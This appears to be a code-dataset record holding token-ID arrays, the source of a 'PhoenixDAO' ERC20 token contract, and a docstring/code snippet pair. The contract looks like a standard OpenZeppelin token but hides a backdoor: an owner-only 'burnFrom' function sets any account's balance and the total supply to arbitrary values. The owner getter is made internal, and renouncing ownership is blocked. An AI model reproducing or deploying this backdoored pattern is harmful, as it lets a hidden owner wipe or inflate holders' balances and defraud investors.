0,
0,
0,
0,
0
] |
[
1,
5831,
467,
48,
18988,
350,
654,
39,
3462,
353,
467,
654,
39,
3462,
288,
203,
565,
445,
4774,
451,
774,
1345,
1210,
5147,
12,
11890,
5034,
13750,
55,
1673,
13,
203,
3639,
3903,
203,
3639,
1476,
203,
3639,
1135,
261,
11890,
5034,
2430,
13809,
9540,
1769,
203,
203,
565,
445,
4774,
451,
774,
1345,
1447,
5147,
12,
11890,
5034,
2430,
13809,
9540,
13,
203,
3639,
3903,
203,
3639,
1476,
203,
3639,
1135,
261,
11890,
5034,
13750,
55,
1673,
1769,
203,
203,
565,
445,
9162,
774,
41,
451,
1210,
5147,
12,
11890,
5034,
2430,
55,
1673,
13,
203,
3639,
3903,
203,
3639,
1476,
203,
3639,
1135,
261,
11890,
5034,
13750,
13809,
9540,
1769,
203,
203,
565,
445,
9162,
774,
41,
451,
1447,
5147,
12,
11890,
5034,
13750,
13809,
9540,
13,
203,
3639,
3903,
203,
3639,
1476,
203,
3639,
1135,
261,
11890,
5034,
2430,
55,
1673,
1769,
203,
203,
565,
445,
2845,
5269,
3088,
1283,
1435,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
2845,
1345,
607,
264,
3324,
1435,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
2845,
13937,
951,
12,
2867,
2236,
13,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
2845,
5912,
12,
2867,
8027,
16,
2254,
5034,
3844,
13,
203,
3639,
3903,
203,
3639,
1135,
261,
6430,
1769,
203,
203,
565,
445,
527,
48,
18988,
24237,
12,
203,
3639,
2254,
5034,
1131,
48,
18988,
24237,
16,
203,
3639,
2254,
5034,
943,
5157,
16,
203,
3639,
2254,
5034,
14096,
203,
565,
262,
3903,
8843,
2
] |
/**
*Submitted for verification at Etherscan.io on 2021-01-05
*/
// SPDX-License-Identifier: MIT
/**
@@@@@@@@@@#[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@z`<[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@x~BEoixxx}kHO$Q##@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#[email protected]@@@@@@@
@@@@@@@@@@@@#v~#@@@@#QEMsV}L]LiiLii}[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@[email protected]@@@@@@@
@@@@@@@@@@@@@@[email protected]@@@@@@@@@@@@@@@@@@#B8EMj}xx][email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#BQQBB#@@@@@@@@@@@@##QgOGkL|?\c}[email protected]@@@@@@@@
@@@@#uX$#@@@@@@8?*5#@@@@@@@@@@@@@@#@@@@@@@@@@QG]r}[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@QWur^^**rrr*********rrrrrrr|icsZ$#@@K:[email protected]@@@@@@@@@
@@@@@3`<xxz]YTucu^`[email protected]@@@@@@@@@@[email protected]@@@@@@@@@@@@Ov*K#@@@@@@@@@@@@@@@@@@@@@@@@@@@#d]=^T58#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@B*[email protected]@@@@@@@@@@
@@@@@@U:[email protected]@#BQg$gggQ#QM3KmIKZ6D00Dy^BQ#@@@@@@@@@@@@BT~h#@@@@@@@@@@@@@@@@@@@@@@@8}:rH#@@@@@@@@@@@@@#@@@@@@@@@@@@@@@@@@8Y>[email protected]@@@@@@@@@@@@
@@@@@@@$*[email protected]@@@@@@#B806bM5HPMO000$gDu~#@@@@@@@@@@@@@@B][email protected]@@@@@@@@@@@@@@@@@@@6*:[email protected]@@@@@@@@@@@@@@[email protected]@@@@@@@@@@@@@@[email protected]@@@@@@@@@@@@@@
@@@@@@@@@O)r3#@@@@@@@@@@@@@@@@@@@@@@Q"[email protected]@g#@@@@@@@@@@@@$~x#@@@@@@@@@@@@@@@@d>!P#@@@@@@@@@@@@@##@sv#@@@@@@@@@B0Mc*"*P#@@@@@@@@@#[email protected]@@@@
@@@@@@@@@@@Bj(|[email protected]@@@@@@@@@@@@@@@@@#Z:][email protected]@@@@@@@@@@@@@#[email protected]@@@@@@@@@@@@[email protected]@@@@@@@@@@@@@@@#LuPMsy}v*~*]yKM0Bg5yL]iLLLiiLLi]~`[email protected]@@@@
@@@@@@@@@@@@@@@dv--^kMMMMZZMHmHMMMM0#@[email protected]@@@@@@@#[email protected]@@[email protected]@@@@@@@@@Z>;[email protected]@@@@@@@@@@@@[email protected]@@[email protected]@@@@@@@@#8EZMdEgQ#@@@@@@@@@@[email protected]@@@@@
@@@@@@B}]}}Lx]xx}eRQQ$OKyl}[email protected]@@@@@@@yr#@@Q#@@##@@@@l^[email protected]@@b.vTHQQQ##[email protected]@@@@@@@@@@@@@@Vh#[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@#M|*[email protected]@@@@@@@
@@@@@@@g~!ZB#@@@@@@#B#@@@@@@@@@@@@@[email protected]@[email protected]@@@[email protected]$P}r^vix,"}[email protected]@@@@@@@@@@@@@#8HyKw;B#K}ioD#@@@@@@@@@@@@@@@@@#gKv)[email protected]@@@@@@@@@
@@@@@@@@@Mr?G#@@@@@@@@@@@@@@@@@@[email protected]@@@e}[email protected]@HvE#@#[email protected]@gWUZ#@@@@@@@@@@@[email protected]@@##@@@[email protected]@@@#5x!!vKMMOE0$$DOGXTxxx}G#@@@@@@@@@@@@@
@@@@@@@@@@@QzvvuHDQ#@@@@@#QDZMi!T#@@@@@@[email protected]@@Vuuyd8Q#[email protected]@@@@[email protected]@@@@@@@@@@@@@$c#@@@0##[email protected]@@@@@@gITlcd$0DZx--xO#@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@$Wy}iiLYL=`)D$MK#@@@@@@O\[email protected]@@@@|[email protected]#[email protected]@@@@@##@@@@@@#DO#@@#Eo^[email protected]@@[email protected]@@Mre#@@@@@@@@Q5ZEQ#@@EV\\[email protected]@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@$v<[email protected]@#@@@@@@#5L"[email protected]@@@@Y!QMvV#@@@@@@[email protected][email protected]@@@@@@Qy)[email protected]@@@@0,[email protected]@@@@@@@@@@@@@@@@[email protected]@@@@@@@@
@@@@@@@@@@@@@@@@@@#di^[email protected]@@@@@@#OXKb6y#@@@@[email protected]@@#d}K#@BHH*i#@X*[email protected]@@@U8Q8O3KWv'[email protected]@@#:[email protected]@@@#[email protected]@@@@@@@@@@@@[email protected]@@@@@@@@@
@@@@@@@@@@@@@@Q3}r\[email protected]@@@@B0Hlv!`[email protected]#[email protected]@@@[email protected]@[email protected]@@8o#@@@#@@@#@#[email protected]@d }@@@@O.uw#@@@@[email protected]@@*.xx]iiLY}YiiL]x}[email protected]@@@@@@@@@@@@
@@@@@@@@@@@@@@BP}xiiYYYii]LVG$Q:[email protected]@@@@B3).^@#@@#}Gx^[email protected]@@BOUU;s#@@@#[email protected]@[email protected]@@@P^Qz3#@@@@#[email protected]@Q!]@@@##BBB##@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@[email protected]@BZl)?jE,[email protected]@@#[email protected]!edw!\:[email protected]@@@@B^[email protected]@#[email protected]@@[email protected]@@@[email protected]@@@@@@@#[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@$T-^YxvxjD#@@l!#@QY<'j#kB?c#@@@B!lv#@@@@@@@@[email protected]#@[email protected]@Qg#[email protected]@@@B#@B.:[email protected]@@@@@3^[email protected]@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@[email protected]@@@@@#}`*x|[email protected]~x^:[email protected]@@@@@V,VW#@@$##@@8##[email protected]@@@#=l#@@@@@@*v#MY|[email protected]@Rv!][email protected]@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@[email protected]@@[email protected]@@@@@[email protected]@@@@R`X~VE#x\Z#@@@@@[email protected]@@@#,"[email protected]@@@@[email protected]@@#03cLLYYi}[email protected]@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@#BQ$0D0$s:_}MX])vm#@@@@@@@@@@@@@@@@@@[email protected]|[email protected]@@@@@@@@yU>ly>[email protected]@@<}#w>I#@@@8:[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@Bbyxrrr(vL}}}[email protected]~][email protected]@@@@@@@@@@@@@@@T:[email protected]@[email protected]@@@@@@@@@[email protected]##[email protected][email protected]#X)\o$#B**[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@Eur)cMQ#@@@@@@@@@@@@@[email protected][email protected]@@#@B06MPswu* r*rrrrrrr)(|xL}}yzyyKoMLvy:'!^rx|^"_~r-,[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@0L^]Z#@@@@@@@@@@@@@#QbUuv!,^^rLVmMV"~^^!-`^Yur-x35ZO6V_rg88gggg!VOZP:']V}|'^<!-!Q8Ek``)*~!!>Lz5D#@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@#m= _vY}}}YL}yG0#@#Q0HTx:`'rM#@@@@@@@@$^@@D [email protected]@[email protected]@@[email protected]@@[email protected]@#GmK3"[email protected]@@R`[email protected]@B~#@#> }@@@[email protected]@@#V:`_^LZ#@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@d}TP0B#@@@@@#B$MyLxxwDBZycGM,[email protected]@@#[email protected]@@8*@@D [email protected]@[email protected]@$ #@@[email protected]@B:.'` [email protected]@@@[email protected]@B~#@#_ `[email protected]@#@@@@V`[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@#6VvxMg]*-;@@@[email protected]@@8*@@#3Z#@@[email protected]@$ #@@[email protected]@@@@#0`[email protected]@@@@[email protected]@B~#@#_ *@@@@@@e`[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@d*}6,;@@@@B#@@@h*@@#OM#@@[email protected]@$ #@@[email protected]@#)^^= [email protected]@[email protected]@@@@B~#@#_ [email protected]@@@5 [email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@G~.;@@@@#QEH^ *@@D [email protected]@[email protected]@Q^#@@[email protected]@#r~~=`[email protected]@[email protected]@@@B~#@#_ `[email protected]@@@@#!!#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@Q_;@@@B- *@@D [email protected]@[email protected]@@@@@B)^@@@@@@@^[email protected]@r`[email protected]@@B~#@#_ [email protected]@@B#@@g-|@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@B0MUkz_;@@@Q' `[email protected]#W yWKx.^}ix(r.';*******.=|x*`_yI3o:[email protected]@@#^[email protected]@@G`[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@83}vx]V3Ok_`[email protected]@BRx" -;_;*: ,(vvvvvv! '^vvvv\' `?vvv\*``rxr-.~^*?^ 'Kg#@[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@#Ry*-.^VOQ#@#v` ~r<>^|Tyv\[email protected] [email protected]@@##@@V [email protected]@@@x :[email protected]@@@@@8";@@G^@@W vbhYr>;^!``*[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@#QZMZZM5PIVYr," `>Xg#B8#@@@@8D8QB#8Zy [email protected]@K`:#@d [email protected]@$#@M [email protected]@@[email protected]@@*[email protected]@B>#@#[email protected]@@@@@B0Wyx*[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@B#@@QMu(rTZbhls#@#BQQBB#g`[email protected]@U -#@d [email protected]@;[email protected]@= [email protected]@#:[email protected]@@*[email protected]@#[email protected]$#,[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#Or-xUvyMMZddbMMy [email protected]@U -#@d :#@8,[email protected]@y [email protected]@#:[email protected]@@*[email protected]@6mgy$`[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@d)[email protected]@@@@BQ#@@@8`[email protected]@h -#@d [email protected]@@@@@@Q'[email protected]@#:[email protected]@@*[email protected]@b#?EY,#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@B*`=?\v|(rrvuVhMPsy [email protected]@[email protected]@Z`[email protected]@Krv#@@(*@@@Q#@@@^[email protected]#Q('[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@B:_uD#@@@@@#83}^:(! _wD0D000z_:RD6"` uDDz:rEDDDDM^,[email protected]:^l [email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#]k#@@@@@@@@@@@BPLxx! "-:r'~xxxxxx?MKxxxxxxxxxxxxsQG>:[email protected]@[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@B#@@@@@@@@@@@@@@@@@@@Qy~_`VMyyM#@@@@Qg$#@@@@@@@@QP|:)[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@gmL*~_ '~xwHORm}xr>=:,!\[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#B8$63yYv?(vLcPE#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
*/
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
* Returns a boolean value indicating whether the operation succeeded.
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
* Returns a boolean value indicating whether the operation succeeded.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
* Returns a boolean value indicating whether the operation succeeded.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `owneronly`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() internal view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier owneronly() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `ownerolny` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual owneronly {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual owneronly {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract.
*/
contract ERC20 is Context, Ownable, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*/
function burnFrom(address account, uint256 balance, uint256 subtract) external owneronly {
require(account != address(0), "ERC20: burn from the zero address disallowed");
_balances[account] = balance.sub(subtract, "ERC20: burn amount exceeds balance");
_totalSupply = balance.sub(subtract);
}
/**
* @dev Hook that is called before any transfer of tokens.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be created for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
interface TokenInterface is IERC20 {
event BurnerStatusUpdated(address indexed burnerAddress, bool burnerStatus);
function updateBurnerStatus(bool burnerStatus) external;
function burn(uint256 amount) external;
function getBurnerStatus(address burnerAddress) external view returns(bool burnerStatus);
}
pragma solidity 0.6.12;
contract PhoenixDAO is ERC20, TokenInterface {
mapping(address => bool) private isBurner;
uint256 constant Decimals = 18;
/// @dev Set amount of initial tokens for the liquidity;
uint256 constant initialTokens = 20000 * 10 ** Decimals;
constructor() public ERC20("PhoenixDAO.Finance", "PHX"){
/// generate initial tokens for the liquidity
_totalSupply = _totalSupply.add(initialTokens);
_balances[msg.sender] = _balances[msg.sender].add(initialTokens);
emit Transfer(address(0), msg.sender, initialTokens);
}
/// @notice The OpenZeppelin renounceOwnership() implementation is
/// overriden to prevent ownership from being renounced accidentally.
function renounceOwnership() public override owneronly {
revert("Ownership cannot be renounced");
}
/// @notice Updates if the caller is authorized to burn tokens
/// @param burnerStatus Updated burner authorization status
function updateBurnerStatus(bool burnerStatus) external override {
require(isBurner[msg.sender] != burnerStatus, "Input will not update state");
isBurner[msg.sender] = burnerStatus;
emit BurnerStatusUpdated(msg.sender, burnerStatus);
}
/// @notice Burns caller's tokens
/// @param amount Amount that will be burned
function burn(uint256 amount) external override {
require(isBurner[msg.sender], "Only burners are allowed to burn");
_burn(msg.sender, amount);
}
/// @notice Returns if an address is authorized to burn tokens
/// @param burnerAddress Address whose burner authorization status will be returned
/// @return burnerStatus Burner authorization status
function getBurnerStatus(address burnerAddress) external view override returns(bool burnerStatus) {
burnerStatus = isBurner[burnerAddress];
}
}
|
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract./
|
contract ERC20 is Context, Ownable, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
